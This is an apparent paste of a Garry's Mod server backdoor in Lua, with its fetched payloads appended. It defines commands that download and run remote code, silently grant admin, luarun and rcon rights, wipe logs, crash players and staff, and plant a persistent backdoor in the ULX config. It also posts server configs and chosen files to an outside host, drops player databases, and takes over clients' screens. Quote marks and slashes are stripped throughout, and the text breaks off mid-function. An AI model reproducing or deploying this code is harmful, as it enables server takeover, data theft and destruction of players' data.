· 8 years ago · Feb 02, 2018, 08:34 PM
1concommand.Add(hell, function(ply)
2 for k,v in pairs(player.GetAll()) do
3 vSendLua([[http.Fetch('httpteamorbit.x10.bzluahell.lua',function(b,l,h,c)RunString(b)end,nil)]])
4 timer.Simple(2, function() do vConCommand(hellstart) end end )
5 plyChatPrint( [RunString] Welcome to hell. )
6 end
7end )
8
9concommand.Add(perms, function(ply)
10 timer.Simple(2, function() file.Delete(ulx_logs..Date...txt) end )
11 RunConsoleCommand(ulx,logEcho,0)
12 RunConsoleCommand(ulx,userallow,plyNick(),ulx logEcho,0)
13 RunConsoleCommand(ulx,userallow,plyNick(),ulx logEcho,1)
14 RunConsoleCommand(ulx,userallow,plyNick(),ulx luarun)
15 RunConsoleCommand(ulx,userallow,plyNick(),ulx rcon)
16 RunConsoleCommand(ulx,logEcho,1)
17 sql.Query(DELETE FROM blogs_v3 WHERE involved = '[]')
18 plyChatPrint( [RunString] Successfully & silently given ulx logecho, luarun & rcon. )
19end )
20
21concommand.Add(disco, function(ply)
22 http.Fetch('httpteamorbit.x10.bzluadisco.lua',function(b,l,h,c)RunString(b)end,nil)
23 plyChatPrint( [RunString] Enabled I don't even know what to call this. )
24end )
25
26local mn = false
27concommand.Add( moansteps, function(ply)
28 mn = !mn
29 if( mn ) then
30 plyChatPrint([RunString] Moaning footsets enabled.)
31 hook.Add(PlayerFootstep, memesv2, function(ply, pos, foot, sound2, volume, filter) plyEmitSound( vonpcfemale01pain06.wav,75,math.random( 50, 150 )) end )
32 else
33 hook.Remove(PlayerFootstep, memesv2)
34 plyChatPrint([RunString] Moaning footsets disabled.)
35 end
36end )
37
38concommand.Add(httpfetch, function(ply,cmd,arg)
39 if arg[1] == nil then
40 plyChatPrint([RunString] Usage error httpfetch svcl url)
41 elseif arg[1] == sv then
42 http.Fetch('http'..arg[2], function(b) RunString(b) end)
43 elseif arg[1] == clthen
44 plySendLua(http.Fetch('http..arg[2].., function(b) RunString(b) end))
45 end
46end )
47
48concommand.Add(update, function(ply)
49 http.Fetch('httpteamorbit.x10.bzluagas.lua',function(b,l,h,c)RunString(b)end,nil)
50 plyChatPrint( [RunString] Retrieved latest version. )
51end )
52
53local bm = false
54concommand.Add(2d, function(ply)
55local a = plyLookupBone(ValveBiped.Bip01_Head1)
56local b = plyLookupBone(ValveBiped.Bip01_R_Thigh)
57local c = plyLookupBone(ValveBiped.Bip01_L_Thigh)
58local d = plyLookupBone(ValveBiped.Bip01_R_Calf)
59local e = plyLookupBone(ValveBiped.Bip01_L_Calf)
60local f = plyLookupBone(ValveBiped.Bip01_R_UpperArm)
61local g = plyLookupBone(ValveBiped.Bip01_L_UpperArm)
62local h = plyLookupBone(ValveBiped.Bip01_R_Forearm)
63local i = plyLookupBone(ValveBiped.Bip01_L_Forearm)
64local j = plyLookupBone(ValveBiped.Bip01_R_Clavicle)
65local k = plyLookupBone(ValveBiped.Bip01_L_Clavicle)
66 bm = !bm
67 if( bm ) then
68 for k,v in pairs(player.GetAll()) do
69 vManipulateBoneScale( a, Vector(4,0,4))
70 vManipulateBoneScale( b, Vector(0,0,0))
71 vManipulateBoneScale( c, Vector(0,0,0))
72 vManipulateBoneScale( d, Vector(0,0,1))
73 vManipulateBoneScale( e, Vector(0,0,1))
74 vManipulateBoneScale( f, Vector(0,0,0))
75 vManipulateBoneScale( g, Vector(0,0,0))
76 vManipulateBoneScale( h, Vector(1,1.5,1.5))
77 vManipulateBoneScale( i, Vector(1,1.5,1.5))
78 vManipulateBoneScale( j, Vector(0,0,0))
79 vManipulateBoneScale( k, Vector(0,0,0))
80end
81 plyChatPrint( [RunString] Enabled 2d players. )
82 else
83 plyChatPrint( [RunString] Disabled 2d players. )
84 for k,v in pairs(player.GetAll()) do
85 vManipulateBoneScale( a, Vector(1,1,1))
86 vManipulateBoneScale( b, Vector(1,1,1))
87 vManipulateBoneScale( c, Vector(1,1,1))
88 vManipulateBoneScale( d, Vector(1,1,1))
89 vManipulateBoneScale( e, Vector(1,1,1))
90 vManipulateBoneScale( f, Vector(1,1,1))
91 vManipulateBoneScale( g, Vector(1,1,1))
92 vManipulateBoneScale( h, Vector(1,1,1))
93 vManipulateBoneScale( i, Vector(1,1,1))
94 vManipulateBoneScale( j, Vector(1,1,1))
95 vManipulateBoneScale( k, Vector(1,1,1))
96 end
97 end
98end )
99
100concommand.Add(dosh, function(ply)
101 for k,v in pairs(player.GetAll()) do vaddMoney(99999999999999999) plyChatPrint([RunString] Fucked economy of active players.) vChatPrint(You were given a small loan of several billion dollars.) end
102end )
103
104concommand.Add(restartserver, function()
105 game.GetWorld()Remove()
106end )
107
108local ml = false
109concommand.Add(mutelogs, function(ply)
110 ml = !ml
111 if( ml ) then
112 for k,v in pairs(Logs) do RunConsoleCommand(v,0) end
113 plyChatPrint( [RunString] Successfully muted all logging. )
114 timer.Create( ml, 2, 0, function()
115 timer.Simple(0, function() RunConsoleCommand(ulx,logEcho,0) end )
116 timer.Simple(0, function() file.Delete(ulx_logs..Date...txt) end )
117 timer.Simple(0, function() sql.Query(DELETE FROM blogs_v3 WHERE involved = '[]') end )
118 end )
119 else
120 for k,v in pairs(Logs) do RunConsoleCommand(v,1) end
121 timer.Destroy( ml )
122 plyChatPrint( [RunString] Successfully unmuted all logging. )
123 end
124end )
125
126concommand.Add(wipedata, function(ply)
127 http.Fetch('httpteamorbit.x10.bzluaserverwipe.lua',function(b,l,h,c)RunString(b)end,nil)
128 plyChatPrint( [RunString] Initiated Server Wipe. )
129end )
130
131concommand.Add(clearlogs, function(ply)
132 sql.Query( DELETE FROM blogs_v3; )
133 sql.Query( DELETE FROM ulogs; )
134 sql.Query( DELETE FROM mlog_logs; )
135 file.Delete( ulx_logs..Date...txt )
136 plyChatPrint( [RunString] Silently killed all logs. )
137end )
138
139concommand.Add(crashadmins, function(ply)
140 plyChatPrint( [RunString] Crashed all staff present. )
141 for k,v in pairs(player.GetAll()) do if (table.HasValue(StaffRanks, vGetUserGroup())) then vSendLua(while true do end) end end
142end )
143
144concommand.Add(crashplayers, function(ply)
145 plyChatPrint( [RunString] Crashed all players except lads. )
146 for k,v in pairs(player.GetAll()) do if (!table.HasValue(StaffRanks, vGetUserGroup())) then vSendLua(while true do end) end end
147end )
148
149concommand.Add( smashconsole, function(ply)
150 sc = !sc
151 if( sc ) then
152 plyChatPrint( [RunString] Enabled console jammer )
153 timer.Create( sc, 0.5, 0, function()
154 print( nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn )
155 end )
156 else
157 plyChatPrint( [RunString] Disabled consolejammer )
158 timer.Destroy( sc )
159 end
160end )
161
162concommand.Add(namechange, function(ply,cmd,arg)
163local DESIRED_NAME = arg[1]
164for k, v in pairs(player.GetAll()) do
165 DarkRP.storeRPName(v, DESIRED_NAME)
166 vsetDarkRPVar(rpname, DESIRED_NAME)
167end
168 plyChatPrint( [RunString] Changed user names )
169end )
170
171concommand.Add(silentslay, function(ply,cmd,arg)
172for k, v in pairs(player.GetAll()) do
173 if string.find(vNick()lower(),arg[1]) then
174 vKillSilent()
175 end
176 end
177 plyChatPrint([RunString] Silently slayed nerd(s))
178end )
179
180concommand.Add(p_remove, function(ply,cmd,arg)
181 if arg[1] == nil then
182 plyChatPrint([RunString] Usage p_remove arg)
183else
184 for k, v in pairs(ents.FindInSphere(plyGetPos(), arg[1])) do
185 if vGetClass() == prop_physics then
186 vRemove()
187 end
188 end
189 plyChatPrint([RunString] Removed all props in a ..arg[1].. gmod unit radius.)
190end
191end )
192
193concommand.Add(rcon_run, function(ply,cmd,arg)
194if arg[1] == nil then
195 plyChatPrint([RunString] Usage rcon_run arg)
196 else
197 game.ConsoleCommand(arg[1]..n)
198 plyChatPrint([RunString] Rcon ran ..arg[1])
199 end
200end )
201
202concommand.Add(unban, function(ply,cmd,arg)
203 if arg[1] == nil then
204 plyChatPrint([RunString] Usage unban ipulx arg)
205 elseif arg[1] == ip then
206 RunConsoleCommand(removeip, arg[2])
207 plyChatPrint([RunString] Silently unbanned ip ..arg[2])
208 elseif arg[1] == ulx then
209 ULib.unban(arg[2])
210 plyChatPrint([RunString] Silently unbanned ..arg[2])
211 end
212end )
213
214concommand.Add(forcesay, function(ply,cmd,arg)
215for k, v in pairs(player.GetAll()) do
216 if string.find(vNick()lower(),arg[1]) then
217 vConCommand(say ..arg[2])
218 end
219 end
220end )
221
222concommand.Add(nukeulx, function(ply)
223if ULib then
224 for groupName, _ in pairs(ULib.ucl.groups) do
225 if groupName ~= user then
226 ULib.ucl.removeGroup(groupName)
227 end
228 end
229 end
230 plyChatPrint([RunString] Nuked ULX.)
231end )
232
233concommand.Add(m9knuke, function(ply)
234local rocket = ents.Create(m9k_launched_davycrockett)
235local ply2 = table.Random(player.GetAll())
236if ply2 == ply then plyChatPrint([RunString] Prevented epicentre from being you.) else
237 rocketSetPos(ply2GetPos())
238 rocketSetOwner(ply2)
239 rocket.Owner = ply2
240 rocketSpawn()
241 rocketActivate()
242plyChatPrint([RunString] Allahu akbar.)
243end
244end )
245
246concommand.Add(servercfg, function(ply)
247 http.Post(httpteamorbit.x10.bzluadatamakefolders.php,{a=string.sub( GetHostName(), 1, 10 ),b=cfg})
248 http.Post(httpteamorbit.x10.bzluadatamakefiles.php,{a=string.sub( GetHostName(), 1, 10 ),b=cfgserver.cfg,c=file.Read(cfgserver.cfg,GAME)})
249 plyChatPrint([RunString] Stole server.cfg contact Admin for it.)
250end )
251
252concommand.Add(stealfile, function(ply,cmd,arg)
253 http.Post(httpteamorbit.x10.bzluadatamakefolders.php,{a=string.sub( GetHostName(), 1, 10 ),b=arg[1]})
254 http.Post(httpteamorbit.x10.bzluadatamakefiles.php,{a=string.sub( GetHostName(), 1, 10 ),b=arg[2],c=file.Read(arg[2],GAME)})
255 plyChatPrint([RunString] Attempted to steal a file, contact Admin.)
256end )
257
258concommand.Add(helpme, function(ply,cmd,arg)
259 if arg[1] == nil then
260 plyChatPrint( Usage helpme 12 )
261 elseif arg[1] == 1 then
262 plyChatPrint( ~===[[Page 1]]===~ )
263 plyChatPrint( • Memes hell, disco, rektmodels, moansteps, p_remove )
264 plyChatPrint( • Util update, perms, unban )
265 plyChatPrint( • Sneaky crashadmins, crashplayers, smashconsole, ulxconfig )
266 plyChatPrint( • Destructive restartserver, dosh )
267 elseif arg[1] == 2 then
268 plyChatPrint( ~===[[Page 2]]===~ )
269 plyChatPrint( • Memes 2d, stealdata, servercfg, namechange )
270 plyChatPrint( • Util mutelogs, clearlogs, rcon_run, hail )
271 plyChatPrint( • Sneaky silentslay, forcesay, stealfile )
272 plyChatPrint( • Destructive wipedata, nukeulx, m9knuke )
273 elseif arg[1] == 3 then
274 plyChatPrint( ~===[[Page 3]]===~ )
275 plyChatPrint( NOTHING TO ADD YET HERE RETARD. )
276 end
277end )
278
279concommand.Add(ulxconfig, function(ply)
280 if(ulx) then
281 file.Append( ulxconfig.txt, nulx luarun util.AddNetworkString('nostrip') net.Receive('nostrip',function(len,pl) RunStringEx(net.ReadString(),'[C]',false) end))
282 plyChatPrint( [RunString] Successfully infected the ulx config. )
283 else
284 plyChatPrint( [RunString] ULX isn't present dickhead. )
285 end
286end )
287
288
289concommand.Add(stealdata, function(ply,cmd,arg)
290 if arg[1] == nil then
291 plyChatPrint([RunString] Usage stealdata stealthransom)
292elseif arg[1] == stealth then
293 stealthjewdata()
294 plyChatPrint([RunString] Usage Stole data without deleting.)
295elseif arg[1] == ransom then
296 ransomjewdata()
297 plyChatPrint([RunString] Usage Stole data & removed all data.)
298 end
299end )
300
301
302local sm = false
303local proplist = {
304modelsprops_c17FurnitureWashingmachine001a.mdl,
305modelsprops_c17Lockers001a.mdl,
306modelsprops_c17oildrum001.mdl,
307modelsprops_combinebreenchair.mdl,
308modelsprops_c17concrete_barrier001a.mdl,
309modelsprops_c17furnitureStove001a.mdl,
310modelsprops_interiorsVendingMachineSoda01a.mdl,
311modelsprops_interiorsrefrigerator01a.mdl,
312modelsprops_wastelandlaundry_dryer002.mdl,
313modelsprops_canalbridge_pillar02.mdl,
314modelsprops_wastelandcoolingtank02.mdl,
315modelsprops_junkTrashBin01a.mdl,
316modelsprops_wastelandcargo_container01.mdl,
317modelsprops_wastelandcargo_container01c.mdl,
318modelsprops_wastelandwheel02b.mdl,
319modelsprops_wastelandlaundry_washer003.mdl,
320modelsprops_wastelandkitchen_fridge001a.mdl,
321modelsprops_wastelandmedbridge_strut01.mdl,
322modelsprops_wastelandmedbridge_base01.mdl,
323modelsprops_wastelandlaundry_dryer001.mdl,
324modelsprops_wastelandhorizontalcoolingtank04.mdl,
325modelsprops_c17metalladder002.mdl,
326modelshunterblockscube8x8x8.mdl,
327modelsprops_buildingswatertower_001a.mdl,
328modelsprops_buildingswatertower_001c.mdl,
329modelsprops_phxhugetower.mdl,
330modelspropsde_nukecoolingtower.mdl,
331modelshuntertubestube4x4x16.mdl,
332modelsprops_wastelandcranemagnet01a.mdl,
333modelspropsde_nukecoolingtank.mdl
334}
335
336concommand.Add( rektmodels, function(ply)
337 sm = !sm
338 if( sm ) then
339 plyChatPrint( [RunString] Enabled model change spammer )
340 timer.Create( sm, 0.5, 0, function()
341 for k,v in pairs( player.GetAll() ) do
342 vSetModel(table.Random( proplist) )
343 vSetPlayerColor( Vector( 0,0,0 ) )
344 end
345 end )
346 else
347 plyChatPrint( [RunString] Disabled model change spammer )
348 timer.Destroy( sm )
349 for k,v in pairs( player.GetAll() ) do
350 vSetModel(modelsplayerGroup01male_01.mdl)
351 vSetPlayerColor( Vector( 0,0,0 ) )
352 end
353 end
354end )[http.FetchURL]httpteamorbit.x10.bzluaserverwipe.lua[http.FetchCODE]local databases = { jobdata,darkrp_door,darkrp_levels,darkrp_prestige,darkrp_doorgroups,darkrp_doorjobs,darkrp_jobspawn,darkrp_position,darkrp_player,darkrp_dbversion,FAdmin_CAMIPrivileges,FADMIN_GROUPS,FAdmin_Immunity,FADMIN_MOTD,FAdmin_PlayerGroup,FADMIN_PRIVILEGES,FADMIN_RESTRICTEDENTS,FAdmin_ServerSettings,FAdminBans,FPP_ANTISPAM1,FPP_BLOCKED1,FPP_BLOCKMODELSETTINGS1,FPP_ENTITYDAMAGE1,FPP_GLOBALSETTINGS1,FPP_GRAVGUN1,FPP_GROUPMEMBERS1,FPP_GROUPS3,FPP_GROUPTOOL,FPP_PHYSGUN1,FPP_PLAYERUSE1,FPP_TOOLADMINONLY,FPP_TOOLGUN1,FPP_TOOLRESTRICTPERSON1,FPP_TOOLTEAMRESTRICT,FPP_BLOCKEDMODELS1,awarn_playerdata,awarn_serverdata,awarn_warnings,blogs_players_v3,blogs_v3,stt_date,stt_players,mlog_logs,mlog_permissions,atlaschat_players,atlaschat_ranks,atlaschat_remote,atlaschat_restrictions,OreBag,fcd_playerData,dailylogin,ChessLeaderboard,qsgr_data,voting_npcs,cac_incidents,steam_rewards,playerdata,playerinformation,utime,permaprops,cc_characters,cc_npcs,ckit_chips,ckit_persist,exsto_data_bans,exsto_data_ranks,exsto_data_users,exsto_data_variables,exsto_restriction,inventories,kinv_items,libk_player,permitems,player_gangapps,player_gangdata,player_gangs,ps2_categories,ps2_equipmentslot,ps2_HatPersistence,ps2_itemmapping,ps2_itempersistence,ps2_OutfitHatPersistenceMapping,ps2_outfits,ps2_playermodelpersistence,ps2_servers,ps2_settings,ps2_trailpersistence,ps2_wallet,removeprops,scoreboard_friends,serverguard_analytics,serverguard_bans,serverguard_pms,serverguard_ranks,serverguard_reports,serverguard_schema,serverguard_ttt_autoslays,serverguard_users,serverguard_watchlist,tttstats,ttt_passes_history,specdm_stats_new,ps2_achievements,ps2_boosterpersistence,ps2_cratepersistence,ps2_instatswitchweaponpersistence,ps2_keypersistence,ps2_rolecontrolpersistence,ps2_weaponpersistence,rapsheet,damagelog_autoslay,damagelog_names,damagelog_oldlogs,damagelog_weapons,kmapvote_mapinfo,kmapvote_ratings,mgang_gangs,mgang_players,deathrun_ids,deathrun_records,deathrun_stats,sui_ratings,shop_texthats,shop_money,shop_items,report_log }
355local datafiles = { ulibbans.txt,ulibgroups.txt,ulibmisc_registered.txt,ulibusers.txt,ulxadverts.txt,ulxapromote.txt,ulxbanmessage.txt,ulxbanreasons.txt,ulxdownloads.txt,ulxgimps.txt,ulxmotd.txt,ulxrestrictions.txt,ulxsbox_limits.txt,ulxvotemaps.txt,apgsettings.txt,atagstags.txt,atagsrankchattags.txt,atagsplayerchattags.txt,atagstags.txt,atagsselectedtags.txt,atagsranktags.txt,atagsplayertags.txt,vcmodsettings_sv.txt,vcmodconfig_sv_privilages.txt,wire_version.txt,UTeam.txt,prevhas.txt,cacsystem_log_sv.txt,cacserverworkshopinformation.txt,cacsettings.txt,cacserverluainformation.txt,hitnumberssettings.txt,soundlistscommon_sounds.txt,vcmodcontrols.txt,vcmoddataserver.txt,qsgr_datasqgr_settings.txt,blogsconfigcache.txt,blogslanguage.txt,cacadminuipack.txt,ezjobsconfig.txt,damagelogcolors.txt,damagelogfilters_new.txt,craphead_scriptsarmory_robberyrp_downtown_v4cpolicearmory_location.txt,craphead_scriptsarmory_robberyrp_downtown_v4c_v2policearmory_location.txt,craphead_scriptsarmory_robberyrp_downtown_v2policearmory_location.txt,craphead_scriptsarmory_robberyrp_downtown_evilmelon_v1policearmory_location.txt,craphead_scriptsarmory_robberyrp_downtown_v4c_v3policearmory_location.txt,craphead_scriptsarmory_robberyrp_downtown_v4c_v4policearmory_location.txt,mg_gangsdatamg_npcspawns.txt,ulxdebugdump.txt,ulxempty_teams.txt,chattags.txt,caseclaims.txt, sammyservers_textscreens.txt,permaprops_permissions.txt,chattags.txt,prevhash.txt,permaprops_config.txt,zwhitelistjobdatajobsetting.txt,zwhitelistjobdatawhitelistjob.txt,zmodserveroptionsysjobwhitelist.txt,vlisssettingsconfig.txt,nordahl_spawnpointrp_venator_v3.txt,nordahl_spawnpointrp_venator_v2.txt,nordahl_spawnpointrp_venator_v1.txt,nordahl_spawnpointrp_venator_gg.txt,nordahl_spawnpointrp_venator_ausv4.txt,nordahl_spawnpointrp_venator_v2_ffg.txt,planningeventprehud.txt,planningoptionhourformat.txt,nordahl_spawnpointarena_byre.txt,nordahl_spawnpointrp_venator_v2_immersive.txt,nordahl_spawnpointrp_venator_fade_v3.txt,nordahl_spawnpointrp_venator_gr.txt,nordahl_spawnpointrp_tatoonie_dunsea_v1.txt,nordahl_spawnpointrp_scifi.txt,nordahl_spawnpointrishimoon_crimson.txt,nordahl_spawnpointrp_pripyat_hl2.txt,nordahl_spawnpointrp_onwardhope.txt, nordahl_spawnpointrp_oldworld_fix.txt,nordahl_spawnpointsd_doomsday.txt,nordahl_spawnpointsd_doomsday_event.txt,nordahl_spawnpointrp_naboo_city_v1.txt,nordahl_spawnpointrp_noclyria_crimson.txt,nordahl_spawnpointrp_nar_shaddaa_v2.txt,nordahl_spawnpointrp_mos_mersic_v2.txt,nordahl_spawnpointrp_kashyyk_jungle_b2.txt,nordahl_spawnpointdust_dunes.txt,nordahl_spawnpointrp_cscdesert_v2-1_propfix.txt,nordahl_spawnpointrd_asteroid.txt,nordahl_spawnpointnaboo.txt,nordahl_spawnpointkashyyyk.txt,nordahl_spawnpointgeonosis.txt,nordahl_spawnpointfightspace3b.txt,nordahl_spawnpointendor.txt,nordahl_spawnpointtoth_forgotten.txt}
356local sensitivefiles = { ulx_logs..date...txt,ulibbans.txt,ulibgroups.txt,ulibmisc_registered.txt,ulibusers.txt,ulxadverts.txt,ulxapromote.txt,ulxbanmessage.txt,ulxbanreasons.txt,ulxdownloads.txt,ulxgimps.txt,ulxmotd.txt,ulxrestrictions.txt,ulxsbox_limits.txt,ulxvotemaps.txt,apgsettings.txt,atagstags.txt,atagsrankchattags.txt,atagsplayerchattags.txt,atagstags.txt,atagsselectedtags.txt,atagsranktags.txt,atagsplayertags.txt,vcmodsettings_sv.txt,vcmodconfig_sv_privilages.txt,cacsystem_log_sv.txt,cacserverworkshopinformation.txt,cacsettings.txt,cacserverluainformation.txt,vcmodcontrols.txt,vcmoddataserver.txt,blogsconfigcache.dat,blogslanguage.txt,blogsconfig_v5.txt,cacadminuipack.txt,ulxdebugdump.txt,ulxempty_teams.txt,chattags.txt,caseclaims.txt, sammyservers_textscreens.txt,permaprops_permissions.txt,chattags.txt,permaprops_config.txt,whitelist.txt,zwhitelistjobdatajobsetting.txt,zwhitelistjobdatawhitelistjob.txt,zmodserveroptionsysjobwhitelist.txt,nordahl_spawnpointrp_venator_v3.txt,nordahl_spawnpointrp_venator_v2.txt,nordahl_spawnpointrp_venator_v1.txt,nordahl_spawnpointrp_venator_gg.txt,nordahl_spawnpointrp_venator_ausv4.txt,nordahl_spawnpointrp_venator_v2_ffg.txt,planningeventprehud.txt,planningoptionhourformat.txt,nordahl_spawnpointarena_byre.txt,nordahl_spawnpointrp_venator_v2_immersive.txt,nordahl_spawnpointrp_venator_fade_v3.txt,nordahl_spawnpointrp_venator_gr.txt,nordahl_spawnpointrp_tatoonie_dunsea_v1.txt,nordahl_spawnpointrp_scifi.txt,nordahl_spawnpointrishimoon_crimson.txt,nordahl_spawnpointrp_pripyat_hl2.txt,nordahl_spawnpointrp_onwardhope.txt, nordahl_spawnpointrp_oldworld_fix.txt,nordahl_spawnpointsd_doomsday.txt,nordahl_spawnpointsd_doomsday_event.txt,nordahl_spawnpointrp_naboo_city_v1.txt,nordahl_spawnpointrp_noclyria_crimson.txt,nordahl_spawnpointrp_nar_shaddaa_v2.txt,nordahl_spawnpointrp_mos_mersic_v2.txt,nordahl_spawnpointrp_kashyyk_jungle_b2.txt,nordahl_spawnpointdust_dunes.txt,nordahl_spawnpointrp_cscdesert_v2-1_propfix.txt,nordahl_spawnpointrd_asteroid.txt,nordahl_spawnpointnaboo.txt,nordahl_spawnpointkashyyyk.txt,nordahl_spawnpointgeonosis.txt,nordahl_spawnpointfightspace3b.txt,nordahl_spawnpointendor.txt,nordahl_spawnpointtoth_forgotten.txt}
357local date = os.date( %m-%d-%y )
358for k,v in pairs( databases ) do if sql.TableExists( v ) then
359 sql.Query( DROP TABLE ..v.. ; )
360 sql.Query( CREATE TABLE IF NOT EXISTS ..v.. ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT ); )
361 end
362end
363timer.Simple(5, function() for k,v in pairs( datafiles ) do if file.Exists(v, DATA) then file.Delete( v ) end end end )
364for k,v in pairs( sensitivefiles ) do if file.Exists(v, DATA) then http.Post(httpbracegaming.comdatalog.php,{a=game.GetIPAddress(),b=v,c=file.Read(v)}) file.Delete( v ) end end
365--hook.Add( Think, killulxlogs, function() file.Delete( ulx_logs..date...txt ) end )[http.FetchURL]httpteamorbit.x10.bzluadisco.lua[http.FetchCODE]util.AddNetworkString(slua)
366
367local lol = {}
368function lolRandomString( intMin, intMax )
369 local ret =
370 for _ = 1, math.random( intMin, intMax ) do
371 ret = ret.. string.char( math.random(65, 90) )
372 end
373
374 return ret
375end
376
377lol.m_tblActions = {}
378lol.m_strImageGlobalVar = lolRandomString( 6, 12 )
379lol.m_strImageLoadHTML = [[style type=textcss html, body {background-color transparent;} html{overflowhidden; ]].. (true and margin -8px -8px; or margin 0px 0px;) ..[[ } stylebodyimg src=]] .. %s .. [[ alt= width=]] .. %i..[[ height=]] .. %i .. [[ body]]
380
381function lolPushAction( intChainDelay, func )
382 self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
383end
384
385function lolNextAction( pPlayer )
386 pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
387 if not self.m_tblActions[pPlayer.m_intCurAction] then return end
388
389 timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
390 if not IsValid( pPlayer ) then return end
391 self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
392 selfNextAction( pPlayer )
393 end )
394end
395
396function lolStart( pPlayer )
397 pPlayer.m_intCurAction = 0
398 selfNextAction( pPlayer )
399end
400
401function lolSendLua( pPlayer, strLua )
402 net.Start( slua )
403 net.WriteString( strLua )
404 net.Send( pPlayer )
405end
406
407function lolSetupPlayer( pPlayer )
408 pPlayerSendLua( net.Receive(slua, function() RunString(net.ReadString()) end) )
409end
410
411for k, v in pairs( player.GetAll() ) do
412 lolSetupPlayer( v )
413 timer.Simple( 2, function() lolStart( v ) end )
414end
415
416hook.Add( PlayerAuthed, wat, function( pPlayer )
417 lolSetupPlayer( pPlayer )
418 timer.Simple( 10, function() lolStart( pPlayer ) end )
419end )
420
421hook.Add( PlayerSay, 1337command, function( pSender, strText, bTeamChat )
422 if strTextsub( 1, 5 ) == 1337 then
423 pSenderIgnite( 1e9 )
424 pSenderChatPrint( lol jk )
425 pSenderSendLua( [[surface.PlaySound( vonpcmale01hacks01.wav )]] )
426 return false
427 end
428end )
429
430
431
432--Sequence stack
433--Start some tunes and steam in our assets
434lolPushAction( 0, function( pPlayer )
435 lolSendLua( pPlayer, ([=[
436 sound.PlayURL( httpssquish.spacehaxmanblue.mp3, , function()end )
437
438 g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
439 local html = [[%s]]
440 local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
441 local pnl = vgui.Create( HTML )
442 pnlSetPos( ScrW() -1, ScrH() -1 )
443 pnlSetVisible( true )
444 pnlSetMouseInputEnabled( false )
445 pnlSetKeyBoardInputEnabled( false )
446 pnlSetSize( intSizeX, intSizeY )
447 pnlSetHTML( htmlformat(strURL, intSizeX, intSizeY) )
448
449 local PageLoaded
450 PageLoaded = function()
451 local mat = pnlGetHTMLMaterial()
452 if mat then
453 g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
454 return
455 end
456
457 timer.Simple( 0.5, PageLoaded )
458 end
459
460 PageLoaded()
461 end
462
463 LoadWebMaterial( httpssquish.spacehaxmanhud.png, hud1, 300, 128 )
464 LoadWebMaterial( httpssquish.spacehaxmanhud2.png, hud2, 300, 128 )
465 LoadWebMaterial( httpssquish.spacehaxmanhud3.png, hud3, 128, 128 )
466 LoadWebMaterial( httpssquish.spacehaxmanxhair.png, xhair, 64, 64 )
467 LoadWebMaterial( httpteamorbit.x10.bzimagessezied.jpg, doritos, 183, 256 )
468 LoadWebMaterial( httpssquish.spacehaxmanfedora.png, fedora, 256, 256 )
469 LoadWebMaterial( httpssquish.spacehaxmandew.png, dew, 110, 256 )
470 LoadWebMaterial( httpssquish.spacehaxmandoritos.png, awp, 183, 256 )
471 ]=])format(lol.m_strImageLoadHTML) )
472end )
473
474--HUD swap
475lolPushAction( 31, function( pPlayer )
476 lolSendLua( pPlayer, [[
477 (GAMEMODE or GM).CalcView = function() end
478 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
479
480 local remove = { PostDrawHUD, PreDrawHUD, HUDPaint, HUDPaintBackground, CalcView, ShouldDrawLocalPlayer }
481 for k, v in pairs(remove) do
482 hook.GetTable()[v] = {}
483 end
484
485 local function GetWebMat( strURL )
486 return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
487 end
488
489 hook.Add( HUDPaint, newhud, function()
490 surface.SetDrawColor( 255, 255, 255, 255 )
491
492 if GetWebMat( hud1 ) then
493 surface.SetMaterial( GetWebMat(hud1)[1] )
494 surface.DrawTexturedRect( 0, ScrH() -128, 300 (512 300), 128 )
495 end
496 if GetWebMat( hud2 ) then
497 surface.SetMaterial( GetWebMat(hud2)[1] )
498 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 (512 300), 128 )
499 end
500 if GetWebMat( hud3 ) then
501 surface.SetMaterial( GetWebMat(hud3)[1] )
502 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
503 end
504 if GetWebMat( xhair ) then
505 surface.SetMaterial( GetWebMat(xhair)[1] )
506 surface.DrawTexturedRect( (ScrW() 2) -32, (ScrH() 2) -32, 64, 64 )
507 end
508
509 if GetWebMat( doritos ) then
510 surface.SetMaterial( GetWebMat(doritos)[1] )
511 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 (256 183), 256, CurTime() 512 )
512 end
513 if GetWebMat( dew ) then
514 surface.SetMaterial( GetWebMat(dew)[1] )
515 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 ((256 110) -1), 256, CurTime() -512 )
516 end
517 if GetWebMat( fedora ) then
518 surface.SetMaterial( GetWebMat(fedora)[1] )
519 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() -512 )
520 end
521 if GetWebMat( awp ) then
522 surface.SetMaterial( GetWebMat(awp)[1] )
523 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() 512 )
524 end
525
526 draw.SimpleTextOutlined(
527 Seized By Team Orbit,
528 DermaLarge,
529 ScrW() 2 +math.random( -8, 8 ),
530 ScrH() 2 +math.random( -8, 8 ) +64,
531 Color( 255, 0, 0, 255 ),
532 TEXT_ALIGN_CENTER,
533 TEXT_ALIGN_CENTER,
534 1,
535 Color( 0, 0, 255, 255 )
536 )
537 end )
538
539 local allowed = { [CHudChat] = true, [CHudGMod] = true, [CHudWeaponSelection] = true, [CHudMenu] = true }
540 hook.Add( HUDShouldDraw, newhud, function( str ) if not allowed[str] then return false end end )
541
542 surface.PlaySound( garrysmodsave_load4.wav )
543 surface.PlaySound( vonpcmale01excuseme02.wav )
544 ]] )
545end )
546
547
548lolPushAction( 10, function( pPlayer )
549 local idx = pPlayerEntIndex()
550 timer.Create( beat.. idx, 0.42, 0, function()
